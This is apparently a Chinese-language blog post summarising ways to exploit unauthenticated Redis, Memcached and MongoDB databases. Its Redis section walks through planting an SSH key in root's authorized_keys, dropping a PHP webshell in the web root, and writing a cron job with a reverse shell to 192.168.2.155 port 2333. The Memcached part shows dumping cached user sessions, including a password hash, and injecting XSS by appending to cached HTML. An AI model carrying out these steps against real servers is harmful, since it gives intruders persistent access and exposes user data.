常見的數據庫未授權訪問漏洞的利用方式總結


一、Redis


REmote DIctionary Server(Redis) 是完全開源免費的,遵守BSD協議,Redis是一個由Salvatore Sanfilippo寫的key-value存儲系統。。

Redis 與其他它key - value 緩存產品有以下三個特點:

· Redis支持數據的持久化,可以將內存中的數據保存在磁盤中,重啟的時候可以再次加載進行使用。

· Redis不僅僅支持簡單的key-value類型的數據,同時還提供list,set,zset,hash等數據結構的存儲。

· Redis支持數據的備份,即master-slave模式的數據備份。


信息收集

redis-cli -h 127.0.0.1 -p 6379

帶密碼連接

redis-cli -h 127.0.0.1 -p 6379 -a password


info # 服務器命令

keys * # 檢索所有鍵(生產服務器慎用,ctf隨意)

get 某個key # 查看鍵對應的值

del 某個key # 刪除該鍵值對

config get * # 查看config信息

config set xxx yyy # 設置config信息


2、redis寫authorized_keys

首先,生成密鑰對(如果有,可跳過)

ssh-keygen -t rsa

然後,為了方便,我們生成一個臨時文件(工作目錄在密鑰所在目錄)

(echo -e "\n\n\n"; cat id_rsa.pub; echo -e "\n\n\n") > pub.txt

接著,連接redis並存儲數據到redis上

cat pub.txt| redis-cli -h 192.168.2.155 -p 6379 -a 1q2w3e4r -x set gaia

再後來,設置目錄,並保存文件(可以考慮嘗試別的用戶)

config set dir /root/.ssh/

config set dbfilename "authorized_keys"

save

exit

最後,通過私鑰連接登入服務器

ssh -i id_rsa [email protected]

3、寫webshell

config set dir /var/www/html/

config set dbfilename "gaia.php"

set gaia ""

Save

菜刀連接


4、redis寫定時任務反彈shell

config set dir /var/spool/cron/

config set dbfilename root

set x "\n* * * * * bash -i >& /dev/tcp/192.168.2.155/2333 0>&1\n"

save


2、 Memcache


memcached是一套分佈式的高速緩存系統。它以Key-Value(鍵值對)形式將數據存儲在內存中,這些數據通常是應用讀取頻繁的。正因為內存中數據的讀取遠遠大於硬盤,因此可以用來加速應用的訪問。


漏洞利用方式

1、在內存中獲取敏感信息


stats items //獲取所有內存中的KEY


STAT items:11:number 2

STAT items:11:age 81

STAT items:11:evicted 0

STAT items:11:evicted_nonzero 0

STAT items:11:evicted_time 0

STAT items:11:outofmemory 0

STAT items:11:tailrepairs 0

STAT items:11:reclaimed 1639

STAT items:11:expired_unfetched 142

STAT items:11:evicted_unfetched 0


END


接下來基於列出的items id 命令 stats cachedump items 0 //0表示獲取所有的內容

stats cachedump 40 0

ITEM bWNfZGZfbmdzZGtfXzNrX2ZhaWxkYXRh [512447 b; 1484136213 s]

END


接下來就用get命令查找對應的session值

get fe3550f558a77ab045ee6b2fa253e4fc

VALUE fe3550f558a77ab045ee6b2fa253e4fc 1 1356

a:52:{s:7:"user_id";s:8:"26897900";s:5:"email";s:0:"";s:6:"passwd";s:40:"7c4a8d09ca3762af61e59520943dc26494f8941b";s:12:"passwd_level";s:1:"1";s:9:"user_name";s:10:"k276107224";s:8:"is_login";s:1:"1";s:5:"phone";s:0:"";s:6:"mobile";s:14:"A000002C8F8FF6";s:6:"reg_ip";s:9:"975367684";s:8:"reg_time";s:10:"1444994053";s:10:"last_login";s:10:"1484085336";s:7:"last_ip";s:9:"975367684";s:17:"first_charge_time";s:10:"1454458538";s:16:"last_charge_time";s:10:"1473592187";s:12:"charge_today";s:1:"0";s:12:"charge_total";s:5:"11400";s:12:"charge_count";s:2:"11";s:7:"safe_aq";s:0:"";s:16:"safe_verify_time";s:1:"0";s:12:"super_passwd";N;s:12:"real_certify";s:1:"0";s:12:"email_verify";s:1:"0";s:13:"idcard_verify";s:1:"0";s:4:"name";s:0:"";s:8:"nickname";s:0:"";s:9:"signature";s:0:"";s:4:"face";s:0:"";s:8:"face_tmp";s:0:"";s:9:"figureurl";s:0:"";s:3:"sex";s:0:"";s:7:"marital";s:1:"0";s:6:"height";s:0:"";s:6:"weight";s:0:"";s:8:"birthday";s:10:"1980-01-01";s:6:"idcard";s:0:"";s:2:"qq";s:0:"";s:7:"website";s:0:"";s:7:"address";s:0:"";s:7:"country";s:1:"0";s:8:"province";s:1:"0";s:4:"city";s:1:"0";s:4:"area";s:1:"0";s:8:"timezone";s:0:"";s:11:"verify_info";N;s:5:"score";s:1:"0";s:9:"reg_canal";s:4:"5592";s:6:"isauto";s:1:"1";s:11:"login_total";s:1:"0";s:12:"charge_limit";s:1:"0";s:10:"occupation";s:0:"";s:6:"old_id";s:8:"24623803";s:6:"bbs_id";s:1:"0";}

END重複循環這個,在裡面尋找緩存的用戶信息,這裡讀取的密碼是加密的。


  2、通過修改緩存中的htnl 構造XSS


memcached 中的 append 命令的基本語法格式如下:


append key flags exptime bytes [noreply]

value


參數說明如下:


key:鍵值 key-value 結構中的 key,用於查找緩存值。

flags:可以包括鍵值對的整型參數,客戶機使用它存儲關於鍵值對的額外信息 。

exptime:在緩存中保存鍵值對的時間長度(以秒為單位,0 表示永遠)

bytes:在緩存中存儲的字節數

noreply(可選): 該參數告知服務器不需要返回數據

value:存儲的值(始終位於第二行)(可直接理解為key-value結構中的value)


實例如下:

首先我們在 Memcached 中存儲一個鍵 runoob,其值為 memcached。

然後,我們使用 get 命令檢索該值。

然後,我們使用 append 命令在鍵為 runoob 的值後面追加 "redis"。

最後,我們再使用 get 命令檢索該值。


set runoob 0 900 9

memcached

STORED

get runoob

VALUE runoob 0 9

memcached

END

append runoob 0 900 5

redis

STORED

get runoob

VALUE runoob 0 14

memcachedredis

END


輸出


如果數據添加成功,則輸出:


STORED


輸出信息說明:

STORED:保存成功後輸出。

NOT_STORED:該鍵在 Memcached 上不存在。

CLIENT_ERROR:執行錯誤。

  


 

3、Memcached二次漏洞利用


  除memcached中數據可被直接讀取洩漏和惡意修改外,由於memcached中的數據像正常網站用戶訪問提交變量一樣會被後端代碼處理,當處理代碼存在缺陷時會再次導致不同類型的安全問題。


  不同的是,在處理 前端用戶直接輸入的數據時一般會接受更多的安全校驗,而從memcached中讀取的數據則更容易被開發者認為是可信的,或者是已經通過安全校驗的,因此更容易導致安全問題。


  由此可見,導致的二次安全漏洞類型一般 由memcached數據使用的位置(XSS通常稱之為sink)的不同而不同, 如:


  (1)緩存數據未經過濾直接輸出可導致XSS(上面講的第二點);


  (2) 緩存數據 未經過濾代入拼接的SQL注入查詢語句可導致SQL注入;


  (3) 緩存數據 存儲敏感信息(如:用戶名、密碼),可以通過讀取操作直接洩漏;


  (4) 緩存數據 未經過濾直接通過system()、eval()等函數處理可導致命令執行;


  (5) 緩存數據 未經過濾直接在header()函數中輸出,可導致CRLF漏洞(HTTP響應拆分)。


  … …


  漏洞檢測:


  1、本地檢測可以登錄機器執行netstat -an | more命令查看端口監聽情況。回顯0.0.0.0:11211表示在所有網卡進行監聽,存在memcached 未授權訪問漏洞。


2、 遠程檢測可以 telnet ip 11211, 或 nc -vv ip 11211,提示連接成功表示漏洞存在,stats 顯示下面類似的東西,或者按幾次回車出現"ERROR"

STAT pid 8676 STAT uptime 3054540779 STAT time 353351997 STAT version 1.4.4-14-g9c660c0 STAT pointer_size 64 STAT curr_connections 11 STAT total_connections 12 STAT connection_structures 12

……


三、Mongodb


開啟MongoDB服務時不添加任何參數時,默認是沒有權限驗證的,登錄的用戶可以通過默認端口無需密碼對數據庫任意操作(增、刪、改、查高危動作)而且可以遠程訪問數據庫。


造成未授權訪問的根本原因就在於啟動 Mongodb 的時候未設置 --auth 也很少會有人會給數據庫添加上賬號密碼(默認空口令),使用默認空口令這將導致惡意攻擊者無需進行賬號認證就可以登陸到數據服務器。


該漏洞是由於MongoDB未設置訪問權限,用戶可以直接連上該數據庫 Linux下執行

<code>mongo 目標ip:端口號/<code>


分享到:


相關文章: